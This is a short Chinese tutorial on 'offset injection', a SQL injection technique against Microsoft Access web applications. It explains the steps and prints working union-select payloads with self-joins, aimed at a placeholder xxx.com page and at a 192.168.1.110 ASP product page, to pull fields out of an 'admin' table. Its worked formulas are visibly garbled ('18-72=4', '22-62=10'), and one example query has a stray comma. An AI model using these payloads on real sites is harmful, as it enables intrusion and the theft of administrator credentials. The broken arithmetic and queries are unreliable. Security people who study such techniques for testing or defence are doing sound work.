Access偏移注入利用

1.Access偏移注入原理
Access偏移注入原理：借用数据库的自连接查询让数据库内部发生乱序，从而偏移出所需要的字段在我们的页面上显示！

运气很重要，不能保证100%成功。
2.Access偏移注入利用场景
Access偏移注入利用场景：解决知道Access数据库中知道表名，但是得不到字段的sql注入困境。
字段名取名复杂，字典暴力破解字段名不成功。
3.Access偏移注入流程
Access偏移注入流程
1、判断字段数 order by

2、 判断表名 使用 union select * from 表名来获取

3、 开始偏移注入 利用注入公式来注入
4.Access偏移注入公式实践
Access偏移注入公式实践：偏移注入的基本公式为:

       order by 出的字段数减去*号的字段数，然而再用order by的字段数减去2倍刚才得出来的答案

也就是18-11=7

18-72=4
得到答案等于：4
例如：http://xxx.com/test.asp?id=688 union select 1,2,3,4,a.id,b.id, from (sys_admin as a inner join sys_admin as b on a.id = b.id)

#这里union select 1,2,3,4：顾名思义就是刚才得出来的长度。
#后面的是sql，可作公式。

http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,+from+admin
22-16 = 6 22-62 = 10
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,a.id,b.id,*+from+(admin+as+a+inner+join+admin+as+b+on+a.id=b.id)